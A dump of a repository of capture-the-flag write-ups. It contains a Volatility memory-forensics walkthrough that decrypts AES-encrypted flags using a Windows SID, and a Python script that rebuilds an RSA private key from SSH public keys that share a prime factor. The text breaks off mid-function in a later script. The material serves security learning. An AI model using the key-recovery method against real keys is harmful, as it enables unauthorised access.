├── README.md ├── alles19 └── FlagConverter │ └── README.md ├── etjenesten20 ├── 1_4.png ├── 2_2download.png ├── 2_2gci.png ├── 2_2main.png ├── 2_5_privkey.py ├── 3_2_ackermann.py └── README.md ├── etjenestenjul20 ├── README.md ├── alpha.png ├── chat.txt ├── client.py ├── coordinate.png ├── green.png ├── image-20201222195348159.png ├── image-20201222202356094.png ├── image-20201222202602128.png ├── image-20201222232550177.png ├── image-20201227181355246.png ├── image-20201227181534387.png ├── image-20201227185204869.png ├── image-20201227190057816.png ├── image-20201227190137610.png ├── image-20201227190358006.png ├── transfer.py └── unknown.png ├── etjenestenjul21 ├── INTREP.txt ├── README.md ├── curry.hs ├── guessing4.zip ├── init.el ├── les_meg.c ├── scottie.png ├── spectrum1.png ├── spectrum2.png └── spectrum3.png ├── etjenestenjul22 ├── 0_basic.png ├── 1_code.png ├── 1_reversing.png ├── 2023-01-04-21-02-15-image.png ├── 2023-01-04-21-04-38-image.png ├── 2023-01-04-21-10-40-image.png ├── 2023-01-04-21-14-29-image.png ├── 2023-01-04-21-15-34-image.png ├── 2023-01-04-21-18-25-image.png ├── 2023-01-04-21-20-08-image.png ├── 2023-01-04-21-22-38-image.png ├── 2023-01-05-01-29-40-image.png ├── 2023-01-05-13-31-35-image.png ├── README.md ├── client.py ├── elite.png └── k13 │ ├── calculator.txt │ ├── decryption.txt │ ├── encryption.txt │ ├── itcompares.txt │ └── sumofallfears.txt ├── etjenestenjul23 ├── 1_reversing.png ├── 2.0.3-2.png ├── 2.0.3.png ├── 2.1.2.png ├── README.md ├── client.py ├── manipulaite.txt └── mov16 │ ├── circle.mos │ ├── creative.mos │ ├── entangulator.mos │ ├── fizzbuzz.mos │ ├── hexdump.mos │ └── hexostator.mos ├── flareon7 ├── README.md ├── decrypted.jpg ├── image-20201004222321450.png ├── image-20201004225910649.png ├── image-20201005001726140.png ├── image-20201005002146625.png ├── image-20201005010415194.png ├── image-20201005112252748.png ├── image-20201005121205707.png ├── image-20201005125246618.png ├── image-20201005125636701.png ├── image-20201005125815315.png ├── image-20201005231203352.png ├── image-20201005235119988.png ├── image-20201006204951170.png └── wabbit.png ├── flareon8 ├── 04-flag.png ├── 06-kitty.png ├── README.md ├── flag.png ├── image-20210922000902667.png ├── image-20210922001307582.png ├── image-20210922001802767.png ├── image-20210922012305543.png ├── image-20210922013411349.png ├── image-20211014191219663.png └── image-20211018003210534.png ├── ncsc18 ├── crypto150_sha256 │ ├── README.md │ └── script.py ├── crypto40_LoremIpsum │ ├── README.md │ └── script.py ├── crypto50_Painvin │ └── README.md ├── foren170_Safari │ ├── Part_1.png │ ├── Part_3.png │ ├── README.md │ └── script.py ├── foren60_WhereIsTheFlag │ └── README.md ├── misc10_IRC │ ├── README.md │ └── script.py ├── rev80_68K │ └── README.md ├── stego130_Turtles │ └── README.md ├── stego200_CorruptedNature │ └── README.md ├── web100_Factor │ └── README.md ├── web100_SecureNote │ ├── README.md │ └── script.py └── web130_Memes │ └── README.md ├── npst19 ├── 30-x.png ├── 30.png ├── 8a2a8e12017977d9dbf0ed33e254e94e.txt ├── README.md ├── eval.js ├── julebord.enc ├── julebord.py ├── julekort.py └── qr.png ├── npst20 ├── 9bab0c0ce96dd35b67aea468624852fb.png ├── QR.png ├── README.md ├── cupcake.png ├── image-20201213205952211.png ├── image-20201220172910863.png ├── image-20201225130654004.png ├── image-20210106011500831.png ├── julekort.png └── runner.py ├── npst21 ├── 18.png ├── 2.png ├── 23-egg-1.png ├── 23-egg-2.png ├── 24-1.png ├── 8_comb.png ├── Rudolf.png_Red_2.png ├── frimerke.png ├── frimerke.png_Blue_0.png ├── frimerke.png_Green_0.png ├── frimerke.png_Red_0.png ├── image-20211220204726289.png ├── image-20211220210526716.png ├── image-20211222011325765.png ├── nisse_cipher.png └── readme.md ├── phst23 ├── 3-Green_0.png ├── 3-bilde.png ├── 3-egg.png ├── 3-stereogram.png ├── 8-dcode-image.png ├── instructions.jpg └── readme.md ├── radar19 ├── QRadar1.png ├── QRadar2.png ├── README.md ├── all_challenges.zip └── ocean.png ├── river21 ├── 07-challenge.jpg ├── 07-thumb.jpg └── README.md ├── squarectf19 ├── README.md ├── inwasmble-1.png ├── inwasmble-2.png ├── inwasmble-3.png └── lockbox-1.png └── starctf19 ├── README.md ├── sokoban.cpp └── sokoban.py /README.md: -------------------------------------------------------------------------------- 1 | # ctf-writeups -------------------------------------------------------------------------------- /alles19/FlagConverter/README.md: -------------------------------------------------------------------------------- 1 | # Flagconverter 2 | 3 | Challenge description: 4 | ``` 5 | On the campground of the CCCamp, someone is trying to troll us by encrypting our flags. Sadly, we only got the memory dump of the PC which encrypted our flags. 6 | ``` 7 | 8 | This challenge includes a single memory dump, with 3 challenges inside. The dump is from a Windows 7 64-bit machine, and inside it there's supposedly someone that has encrypted some flags. One was very recently encrypted, and another was encrypted a long time ago. Let's get to it. 9 | 10 | # Part 1 11 | 12 | This part is fairly simple. The flag exists somewhere in the memory as-is, with no obfuscation. Simply `fgrep -a "ALLES{" flagconverter.dmp` to get the flag. 13 | 14 | `ALLES{f0r3n51k_15_50m3t1m35_t00_345y}` 15 | 16 | # Part 2 17 | 18 | We're going to use [Volatility](https://github.com/volatilityfoundation/volatility/) to analyze the memory dump. First, we start off with an `imageinfo` to identify which profile to use. Here, Volatility runs a few useful scans to determine the best profile fit. We end up with `Win7SP1x64`, which will be used for the rest of this write-up. 19 | 20 | ``` 21 | $ vol.py -f flagconverter.dmp imageinfo 22 | Volatility Foundation Volatility Framework 2.6.1 23 | INFO : volatility.debug : Determining profile based on KDBG search... 24 | Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 25 | AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) 26 | AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS) 27 | AS Layer3 : FileAddressSpace (flagconverter.dmp) 28 | PAE type : No PAE 29 | DTB : 0x187000L 30 | KDBG : 0xf800027ff120L 31 | Number of Processors : 2 32 | Image Type (Service Pack) : 1 33 | KPCR for CPU 0 : 0xfffff80002801000L 34 | KPCR for CPU 1 : 0xfffff880009eb000L 35 | KUSER_SHARED_DATA : 0xfffff78000000000L 36 | Image date and time : 2019-08-21 05:55:09 UTC+0000 37 | Image local date and time : 2019-08-21 07:55:09 +0200 38 | ``` 39 | 40 | Next up, we'll run `pslist` and `filescan` to see what we have available. The outputs of these are enormous, but there's a few interesting files and applications being run. Some of these are located on the desktop for the ALLES user: 41 | 42 | ``` 43 | 0xfffffa800246e530 converter.exe 2308 2280 11 183 1 0 2019-08-21 05:52:25 UTC+0000 44 | 0xfffffa800246fb00 converter.exe 2316 2280 10 152 1 0 2019-08-21 05:52:25 UTC+0000 45 | ... 46 | 0x000000003e66a6a0 15 0 R--r-- \Device\HarddiskVolume2\Users\ALLES\Desktop\1\converter.exe 47 | 0x000000003eb79430 1 1 R--r-d \Device\HarddiskVolume2\Users\ALLES\Desktop\3\Crypto.dll 48 | ``` 49 | 50 | Dumping these wasn't easy to do uncorrupted with Volatility, but we managed to do so after some combination of memory areas. `converter.exe` is a .NET application, and firing up `dnspy` reveals that it's just a thin form application that interacts with `Crypto.dll`. There's a text field, and a button to press for encrypting. The `Click_Button` function looks like this: 51 | 52 | ``` 53 | private void Click_Button(object sender, EventArgs e) 54 | { 55 | Crypto crypto = new Crypto(); 56 | crypto.function03(); 57 | this.string_0 = Convert.ToBase64String(crypto.function02(this.text.Text)); 58 | crypto.Dispose(); 59 | GC.Collect(); 60 | GC.WaitForPendingFinalizers(); 61 | this.ms.Read(Encoding.ASCII.GetBytes(this.string_0), 0, Encoding.ASCII.GetBytes(this.string_0).Length); 62 | this.text.Text = this.string_0; 63 | } 64 | ``` 65 | 66 | Here it initializes the Crypto class, calls some `function03`, followed by `function02` on the text in the input field, and finally base64-encodes the result. The application also aggressively interacts with the garbage collector, to make sure the flag doesn't stay in memory after encrypting. Looking at `Crypto.dll` in `dnspy`, we easily find these functions: 67 | 68 | ``` 69 | public void function03() 70 | { 71 | byte[] array = new byte[28]; 72 | WindowsIdentity.GetCurrent().User.GetBinaryForm(array, 0); 73 | this.byte_1 = new byte[16]; 74 | Array.Copy(array, 0, this.byte_1, 0, 16); 75 | this.byte_0 = new byte[32]; 76 | Array.Copy(array, array.Length - 16, this.byte_0, 0, 16); 77 | Array.Copy(array, array.Length - 16, this.byte_0, 16, 16); 78 | } 79 | 80 | public byte[] function02(string string_0) 81 | { 82 | SymmetricAlgorithm symmetricAlgorithm = this.function01(); 83 | MemoryStream memoryStream = new MemoryStream(); 84 | CryptoStream cryptoStream = new CryptoStream(memoryStream, symmetricAlgorithm.CreateEncryptor(), CryptoStreamMode.Write); 85 | byte[] bytes = new UnicodeEncoding().GetBytes(string_0.PadRight(string_0.Length % 8, '\0')); 86 | cryptoStream.Write(bytes, 0, bytes.Length); 87 | cryptoStream.FlushFinalBlock(); 88 | memoryStream.Position = 0L; 89 | byte[] result = memoryStream.ToArray(); 90 | string_0 = null; 91 | cryptoStream.Close(); 92 | memoryStream.Close(); 93 | GC.Collect(); 94 | GC.WaitForPendingFinalizers(); 95 | return result; 96 | } 97 | ``` 98 | 99 | The gist of it, is that `function03` fetches the SID of the current user, in its binary form, which is a [big mess of big and little endian hexadecimal chunks](https://devblogs.microsoft.com/oldnewthing/20040315-00/?p=40253). It is only 28 bytes long, but it copies the first 16 bytes into `byte_1` and the last 16 bytes into `byte_0` two times. `function03` then uses AES in CBC mode, with `byte_1` as the IV and `byte_0` as the key for encryption. Aggressive garbage collection is also done here. An equivalent decryption function in Python looks something like this: 100 | 101 | ```python 102 | from Crypto.Cipher import AES 103 | 104 | def decrypt(SID, ciphertext): 105 | IV = SID[:16] 106 | KEY = SID[len(SID)-16:]*2 107 | return AES.new(KEY, AES.MODE_CBC, IV).decrypt(ciphertext) 108 | ``` 109 | 110 | Now that this is out of the way, we just need to hunt for base64-encoded data somewhere. We actually found part 3 before part 2, but part 2 can be found within the memory dump of the `converter.exe` process using `strings` or similar tools. It is `ZuwJUgfmKzIMbo4F8agPy1MPLq+r7cAlDLowY+RT2wgp1uifc2TXeNH4bvbb2VqfK6r77SPHFrrMYR+GMGv8JGS87Tiybyi4LNNHQWnTR8LlGlSeHWWA9pydAXuJjSk8FzUFbqHOKqHc+bCtJ/4K2Q==`, and using the decrypt function from above together with the SID `0105000000000005150000009a54b0afcd26c4824b70f4b0e8030000` (decoded from hex) and the base64-decoded bytestream of our flag yields `ALLES{50m3_f0r3n51k_50m3_r3v3r51ng_4nd_50m3_c2ypt0_fun}`. We actually found this string by looking through the screen buffer in the image, where we stumbled upon a somewhat legible image of the screen state, where the encrypted flag was located. We then grepped for the readable parts to find part 2. The SID can easily be found with the `getsids` plugin, but it is also visible inside the filescan results (and many other places). 111 | 112 | # Part 3 113 | 114 | Part 3 is the exact same thing as part 2, but this time around you should've noticed a weird file in the filescan. It is also present if you run the screenshot plugin of Volatiliy, where it shows a large part of the base64-encoded and encrypted flag. We first noticed this though: 115 | 116 | ``` 117 | 0x000000003e6645a0 16 0 R--r-d \Device\HarddiskVolume2\Program Files\D9f\gCFhd\yxEUQSFyoHU1ybvQ0S9TOOwUWFCR+HWh+YicMXXJ2hzO39bjKEbONClpsoTzUtfuC86APEJGe46byt7fmJGBEkmrtktbMIZ5Mk4LnGFkyNVkAwEKm\O7dnFs7JKPrXrI9Co8Z4ULFf1UzT1cK5wFiIONE\0t33K+0.bat 118 | ``` 119 | 120 | Simply running the same function as for part 2, with the same SID, gives the third flag `ALLES{0n3_f0r3n51k_tr345ur3_15_ly1ng_w1th1n_th3_5h1mc4ch3}` You only have to flip the backslashes forward before decoding. -------------------------------------------------------------------------------- /etjenesten20/1_4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenesten20/1_4.png -------------------------------------------------------------------------------- /etjenesten20/2_2download.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenesten20/2_2download.png -------------------------------------------------------------------------------- /etjenesten20/2_2gci.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenesten20/2_2gci.png -------------------------------------------------------------------------------- /etjenesten20/2_2main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/myrdyr/ctf-writeups/c83757347c3798b764219444e71a086dac9fb551/etjenesten20/2_2main.png -------------------------------------------------------------------------------- /etjenesten20/2_5_privkey.py: -------------------------------------------------------------------------------- 1 | keys = """\ 2 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdNs2G40fwpq2rGXn5QCwz9NxGdAhJCBkcpLPSh5i9rNpHKsbcupmpmT4yaqYjF2EBJrG6/yJhKKwdxOjt3gawExzlR3fymkeXZ9L8LcTcSgD7h3tHWsjnSGER1XyHN8QMUcO0jD26VRPXE2nnSDdiW6c5p+xm6YQHjnGM+WH37yO+87chbURSujZSWELixU/rqL7L5dSuXs0gmFB9DWcIHW8Atuk5awyzAV4LkNn5sKySv+wIwoPbL7TuY9sBRXZFLJmHHLKd1I3Z1a002jqd1vuxAk6CXI4oU9uxMynpDSYG/8vu8ebEzGpXBYnzlQwlAohldfiDQy1hJN4X5lqV 3 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAGWCDRRlJQIHip1MPnov5rh5DMrWO8aE7Ow6dpCdEr7D2V+Cw95eu1Uw8QCjAjiHwu66hQnZT4F7ybu+UV6LesBzoHZhC99lAtyzfnS/EqEhIHOREj9zq6ECrj/zCmQm48cGwV+2eOMLRbjBnQEQGTvVK5XaWwWNGmND41mRDQoZU7UA0uNsU205yU7Pepbg8hPCJ7iedv5a97Gl5Gi6VI35FjJo+srE0/ANR+2F51GlGWiaIDlWq5jiLw1IOCt7cw5ZWEmV+mNlXTEsLTIiyoJymUct6nvRIhjvN4S64snLhvZXSh363JfQRnGSNpi5aDsyYQSLC7xBAGPVJw0tU9U= 4 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9ba30K6tnVLrM6M1uSjMpi5LszJj7TSrT4RYVt+kpB9Jy2jo00XgvW7eoEBysiq83tGtN9xoVIIRh+I0iVmEbL5t76BITAH8FJrqPYqjVXIQ3huhFgzqqtjPaRb0V1NWKcVbk0KNuEgia4ZIBvL37ZA26HGEndoum46dvbgvEa6nnA5dQQIBsZMz7uZ0reABKuHEbNJ1FrBAiCn7Lcoql6hu2seO+bPuxogSOeNHA1xIK59B9d9K/W8f2LSVT/icp1qPojLHekJBR47IWXYkVSsanPnk8Q4fimopjfe2aIfl8pASjjSgjRdE4dFmEvPESB8q1K9dynZv23MZG1FsJ 5 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAQ7DBO12lh70hlPg6xlKP5tqwVhu0jPRIQMIKEFfWlGAw+8KxD6t9PfgYynGduTBPlv8yNGlgDoWO+e0ohhGNPJbl9mSGXIY1WiLaGpsYiV43LjKGdxSm9eS0EV5QUCTrHhLzXnh0eqPbWot69cZSRVAFDciTHf4Ura6JdW+DVLZ0X/zEc+MhNNAPEtsaqzrhcfCjx0PDEUVEKe0UiD8Q8RWzNfKDutaTrMyb31posw8pjXopRiUvXHAllepv/xPysBOwpAh9MZxG5TQXIOp6y2z6TCi+J8LSPg33nQ4g7V0XqcO6VOGiuYbFa9sX4KLBLY8KgVdymPAfHl+NPjzb 6 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUO4Q8Nbmu1mMnGJK5B5cKXPBlKoQAZa8Ai67BhVtZ6I3MgesMgej0dok9kBaZpWbQJ2l82KVlEpEzto2+xeaMG+8kK1a+Wxd9dVLI/R9KWGkxs0/Yxl1Wil/FZ5uniEMANvhaK9H3gzxWp2x5ly+yEBLMtwQFWh5RPKfRKTnqPUHiUBHqDa3t+jV7XOo665NhQ9+cgEM6XzRLMyj4ofnQV9GoksQGZCBm1u3jA4Mlh9V6Smf+FRvf0gVl+fw+qd8NW3DLsw5XIpp+xhIatoL4I8yW7G7WytZt3+DIac+IHUbbHkF+HzaSzyRsDif2qNJye/7cVrgkszVzd9UlkR31 7 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdsvsci5IVdBPdi0Du8E+xp3jh4aWDx/QjzFwPXuQtTG1GODOuCVwYLufcqNdDrdaTe7GBRa2xLFuzIX1oYUy+a4dNDJuJHYdLi7Cw33ejVsro13b4DQEFm85S11zmVmgvv0dHiy+KrNixPrDV/nRfYQQjxmc3/P0TPJcDGVNOmO9J0/v3ujroBjI8+gpuonqN3e+xvmLRzdxdNXW4VENpu0vI86FfBZ0tkrCdYMrSn80jn/5uVEJPynBildlJCp0iBSvqmkOOu994EhTlgnrIfzQJKdMGIy1gv93wcJxk17HiYgM8KcVe3AYlmWfdrwC8P4bLif63+dqyQ6kWNz37 8 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjXMUP1QAV+yJBPhdHy7NdbX9HwyfRzhmXF4HiBCxpJbRnetnOtZs1TGDwOptk61AdBNNAwoHc7knRt4p+MYiBx9FVrAxqu/+hPn5rlKWJKB/wCt247bx6ThLKLRg1r2wtSd9qQX7cXB4d3OZly+1A3WdGoooWECFJBhHFcnvjZ8KxljO3FfCkfe9z6vQOb+Sf/rE9yYrPh1eoRg9d2YpwEY+4uJR56CFeEAI/LDITbV6mbDwh8xl5ruu8MSs9tdu10HWihmCAZyvCT4FcIA+q/r/a18aodwUqxVNAYX0GS2MoLJuqRY1Y9s6qmxvCyOj4kM560kaz80nuULS+kkuP 9 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0Vw/yUrmjlVfzasi3S9gJiWHvePja3M9LyDm/UEU54HtFgh/VylsLioqeQUUDkfPKzpZ0FgDPVFehPGnuft5wb3eF6bf/SRV1zbhJChaseCziWitR+4A/Fq6bQZx98S6bZi9usfGrVw1CCD84jNETGYO5TgfbhauuK/ECvupU7KfdNr/SK2bzyYH8FZrKrPuP3ZzruojTnIAF3DxlYcF0zSZuj+j31IbWdKOdtx6B/1ydv7yJcBl/XAjBGssM0ytyYTeI7L0qSgCTUbyteJ0hy4OYUTUB7mCEnNQIMuknITMK9fKPtUCReh6HwyEuNS4M2uVQVvyr7Xsk2CU77FxP 10 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRxi+RiZUVctodSwECa+ExkRlEUGlhLhX5c5drIAWmNeHW29mROl3D0smZFGvf5WSq7ff/BqKagWSBnUt2ImF0oAOVOJ8UBnCKAHWEZxg3eCzjdJhlWrlRdFO+HzHQWVrM9q7RahtWgXIgLys4lgZI5paaEvRBCnCLLnqFmzN4sFSzBsHAImx+rJzFgCT3XFs5gd5lGg7vCRGrjZsZzCAYbfYeYgge4TCk8IeCw1pwhbkKtV6mRlFI5j0IUyqzHUu/Hnj8EK/4eH8cmSOi+9rUKB3yoxxzqfBAH+bkITdhZ/O99qW4bTbEiONVVuleeTKqwRixTg3GEJHGQQNiXxur 11 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXshQaiVZgs27O765SM4FU+gViJuXkuv0OMd1NNtFQaMFCEaa+d7GWfG0bv6izSVo1ghbDfm3pH93MqArUB45trs/oLX0RTNqzqXAhNCzBRZk8rsi8NmYfnnMHgoL6+TwRVElLsO9UJ/g+ahak1AR1BKdAabX/G0FfiPiYxu9y0xQcDQGBCERPxZsGkOhUwwwvkqnqJoqGgWbE4JoE6cdnsRpZ+HqVB92esR6ASxiico5nI+kkzU3q7hCeNBagOCFzcBpEryiTDtQkF2MCV8CU9UOSna61bas2O+pbMvGpP6ZEdT4Eh0Zp4gi54yRoPwD0/10D0LIttgvlyumTZjqf 12 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaSUFSNmKUuzlnhAWRKl+5GFLcvTTNBf96MXnJQo0VtfMqhm+D3SGcyoL7a4LDNQSQz0d51fnC9g0u4sUDsATjcqKkWIDKX/dJ+/MYgichEviS+8aUSCwV0ebf1XTeRVF5IC27irV8nzuOAtTPsQfrFJsrxKNPN29n8xGu4K/GpRPoHYqQJHK8hjvBtPfBQMTg2l1ZL9NnCzl3iBZpZpzs61a/yzyIYSwdTRziIQQc3klUYJtV8Ps5FPF2r2ejH1nleiw2b/CgGegi3JXq6axebl4NiXIPGinaL7fnSArk3ReAJT53luTPwgjdwgdMazhak/3HqT2nds0FlDqg4zmb 13 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABADZOrVfFjESstqajNdhzwn8wlQ2zLsz9Gj5Dp1KMK6BSHULRYEpQtyPpatlPdhGgALRLYtjonjfR4LAt0asyPSPbNu7gAWALNlS/xF2iHUqiMxxj5/r4Xj8hfp7XD2TGxlVZlw5xW45t7LIVr/f1iFiWXcj6xqXzkdSKFoev43hsdt6bMYEZKdEN2Y+1w1KlKUFOWh/3yms2C/WItVJMSWeYaZcxG02JXTZFLFVAz3IryQRaVQlVizVlDGKt25wzVmTzVjAQoF9QusM7kAxcuSB8f5etGN+oPltHCacTLC6Dcn5E52mtb+xIvT5nrof6va+Zzy8Pa5nJTCEsRGihLGk= 14 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAEMLTzLPdHVG9z03S2vfehLa/2DcTlJYecNu0uCNdUgpuiS2H3RNmVPxUKsGNgB4lisNJ5AGq2TKuKNC9tTC+rTF0ZKo0SvQUl5Qc0ySoMo+kZvwEka+S2aJxFXdDH8AyYNBy73dtRFbzdo/TUp5ULpiNxAmNpNsqej/V+X69PfxUhNvyub19phTFWFJtLnU8CgJbyRtGWjtbulkl8kDXYx/a02G6vMiUHZHhvXNrMVDr9fRGEn9Bc00mizmOkehTyVR/w9rNNHE/y99SOJXEEwLJ5Sq/1Y7RodYbZATfFL/ycbaqOi5g7cBhmjZA5VkiuovFEfNrbctd504v7wl+rk= 15 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXfsYexqLR/U5AsndUVPJ1zsWSkGAQLOZiOyKnhLkiVM1sh5Z46a4+ZKGc7TSaTACKKfd+cwB11EL3z/W0AiaOT98S2uv25V7ZUvHQE0qXo5KgVdxUqYPLra3hTDqcHfgBz2Ge8etASE+jwlQ9V/szc2oihHnNhtGSE8pGqa4zNsGKYTAJiG0qdg46HgcsZeoG6ArxfNTvy6hsFwt5aI7RD59WzGdW+3pwgBe2rg0fXOoV49ZFCF+3Ef0zIpDxGV9/F4E/uHRqQ4syIQkcuYNsZ6v2KN5aJaMEpKuGidukp+aQe7iovemRsbSA87WbDITLc2jT8OwIA16/lOLlO9N1 16 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAEj0NPpsmMhctkAa36yx+MR6uFuS55mHyIyerpvnuDcHIXb/hD522j8QOFJS3pwj1trDPOL55aMC30m1otr+eeK95UnZj2xtubyPiXL7tZQFJfraelBCaRz6Kf0GWN7HSdAWGSxJ0Npr5nteAtcHPRqx4SMnTfEn9J3Vh4GJUc0Mo597qQT6nQFYhTdJrUl2D0zqdVlY/6bLSXgF83bXFYPpk4UpGW7azL8Qr5eBZWBXadzYvPWdhT88NpHRx8bfpw4u3E/a3N/WCr1Ry6B4KhBtrvkSbSHn5fcM34hXwo9eJV2sr16zoq7CY2C9XL/kyp9bH/AQPPfHP5oJ9VWRJgk= 17 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAE6TrdELYMzOjf8ZLqCJaP11oumuoNvRiDuu/NbpXDTCK6catMg/zHTDziOxHxwQd38nfr3HUF9K+TWCr7Rne6nsyHATWpcY2aBIQIreAD4JnGUgJ6ZlcuuGRkVlJtEc+UXc7CkzHVFat2NqbvM2mu11IPjTB80PdCEDAN2TVVtv+q2rPpTLtBkPWyRJX6g2POt+z9DjK1xpGdi6c80LzHtIsrog81iW1fmSvejwZNC+NZqeSlYIZf6kqtdq7vx5xNuYpSV9ajELoMjySG3YGENqejDAFPQOGu33V9LJtkDaH3L2HnxeXtKZxAry017bCI7eqsxmOH6K0SJaRgp6dVk= 18 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAFyOYKiX0NxY7XU37SPrp60gkkdd5V7Cm4xx6toIoP5cAGfboG12KKs+zDszyYlvEDRT8NgauuylF8J7LVI8C59G6cdtgovw1FA0eojBi+b1SNopLcWRoDDSB0xBWKGcMNbxRkgKknSVM+bDunaKRIdwEdz1jK6mebGzj1aTADubPfvPEt5C5hwKI8v4+VqtUyVG5zx7kYOyKVCUO+qPCW3Gs1rCmYDFd7zrMl9dyAhMTINUeBJkHD+rrfrBYJ3XCGTzG03CDKKte5RJywE/I00wNHJTATqfiuLoWfm6gugCXEeuvpMlJ+jfzMoR9vmeW5I6pELbn4wv5W4VAAcL7nM= 19 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZxGzQI7SFNQdKFCujuiMHf0j9nqfaQYZ8RsD/eMBcd1B7qtoP4YPrwP2XTr0TcRW7zuw0HMfd4PkcqFOpCvWELF56zTqrbYQg5CCRYyKwrQfVTuizLt0v+uN8DiOQK8HRZ4DeoU4wIWYmH/ep/ZQNS4RQ8g9RnbjNnJe1hn2iSlguA9ToT7OkGuhe59f/gBdzZQJA3MFtmhIc96zwH+5LyoJyYt/6U/j9ApMSHO2XeacbZvQOOkSo29MX6LRQmQcEYmrl6u4Lc+0NFdhMbacc6YHkpw9Wf48I27Uf0rptHJF/HaeXT2AZjU1m8dLC5/qDnPvdJVPRLZO9wljRp04R 20 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF5303+AgwCFCG+e2TyB3CcNm+qPwrdkHzwrnqLrWC3+2TbiXBhWH/mGCVwJ9HmFcYXoYNvNP9c3s6XyZI4otiwn7XGyUW1adR2h89+ExNpYMJX4EQaKPgHSe9vku2IkzxvTUut2mxCZVzM6r7U9IrHmQt+degexjd0DGvF+AFjOqfEJP8hWDdZzZee3QJPWCwJi65I1148Sz/y10ORdWwVGhYl9Wsg20iXM+m/4xBfIhkCEiI3UCwYQFvLoXg+k9L4ogrHaAoX9/FrNi1HwthOGSr/h89TyP3KzAN3/jUSzLkl3AtENzDe2xtXyMMd3qXHoxat2k1FepPj8S74oIp 21 | """ 22 | 23 | from sshpubkeys import SSHKey 24 | from fractions import gcd 25 | from gmpy2 import invert 26 | from Crypto.PublicKey import RSA 27 | 28 | 29 | 30 | target = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjXMUP1QAV+yJBPhdHy7NdbX9HwyfRzhmXF4HiBCxpJbRnetnOtZs1TGDwOptk61AdBNNAwoHc7knRt4p+MYiBx9FVrAxqu/+hPn5rlKWJKB/wCt247bx6ThLKLRg1r2wtSd9qQX7cXB4d3OZly+1A3WdGoooWECFJBhHFcnvjZ8KxljO3FfCkfe9z6vQOb+Sf/rE9yYrPh1eoRg9d2YpwEY+4uJR56CFeEAI/LDITbV6mbDwh8xl5ruu8MSs9tdu10HWihmCAZyvCT4FcIA+q/r/a18aodwUqxVNAYX0GS2MoLJuqRY1Y9s6qmxvCyOj4kM560kaz80nuULS+kkuP oper@cloud-hq-42" 31 | 32 | mods = [] 33 | for key in keys.strip().split("\n"): 34 | s = SSHKey(key) 35 | n = s.rsa.public_numbers().n 36 | mods.append(n) 37 | 38 | s = SSHKey(target) 39 | e = s.rsa.public_numbers().e 40 | n = s.rsa.public_numbers().n 41 | for m in mods: 42 | if n != m: 43 | p = gcd(n, m) 44 | if p != 1: 45 | print(p) 46 | break 47 | else: 48 | assert False 49 | 50 | q = n // p 51 | print(p, q, e) 52 | 53 | assert p*q == n 54 | phi = (p-1)*(q-1) 55 | d = int(invert(e, phi)) 56 | 57 | key = RSA.construct((n, e, d, p, q)) 58 | 59 | with open("privkey.pem", "wb") as fd: 60 | fd.write(key.export_key('PEM')) 61 | 62 | 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /etjenesten20/3_2_ackermann.py: -------------------------------------------------------------------------------- 1 | class PrimeFactorDict (dict): 2 | def inc(self,k,i): 3 | if self.get(k): 4 | self[k] += i 5 | else: 6 | self[k] = i 7 | def __str__ (self): 8 | keys = self.keys() 9 | keys.sort() 10 | return "{" + ", ".join([ "{0}^{1}".format(k, self[k]) for k in keys ]) + "}" 11 | def copy (self): 12 | r = PrimeFactorDict() 13 | for (k,v) in self.items(): 14 | r[k] = v 15 | return r 16 | def merge (self, d): 17 | for (k,v) in d.items(): 18 | self.inc(k,v) 19 | def first (self) : 20 | return self.keys()[0] 21 | 22 | class PrimeFactorization: 23 | 24 | PRIMES = [ 2,3,5,7,11,13,17,19,23 ] 25 | 26 | def __init__ (self, factors): 27 | self.factors = factors 28 | 29 | def __str__(self): return str(self.factors) 30 | 31 | def phi(self): 32 | d = PrimeFactorDict() 33 | for (k,v) in self.factors.items(): 34 | if v > 1: 35 | d.inc(k,v-1) 36 | if k > 2: 37 | tmp = PrimeFactorization.factorize(k-1) 38 | d.merge(tmp.factors) 39 | return PrimeFactorization(d) 40 | 41 | def n_factors(self): 42 | return len(self.factors) 43 | def first_factor(self): 44 | return self.factors.first() 45 | def exp(self,a): 46 | return self.factors[a] 47 | 48 | @classmethod 49 | def factorize (klass, n): 50 | d = PrimeFactorDict() 51 | for f in klass.PRIMES: 52 | tmp = n 53 | i = 0 54 | go = True 55 | while go: 56 | (q,r) = divmod(tmp,f) 57 | if r == 0: 58 | tmp = q 59 | i += 1 60 | else: 61 | go = False 62 | if i > 0: 63 | 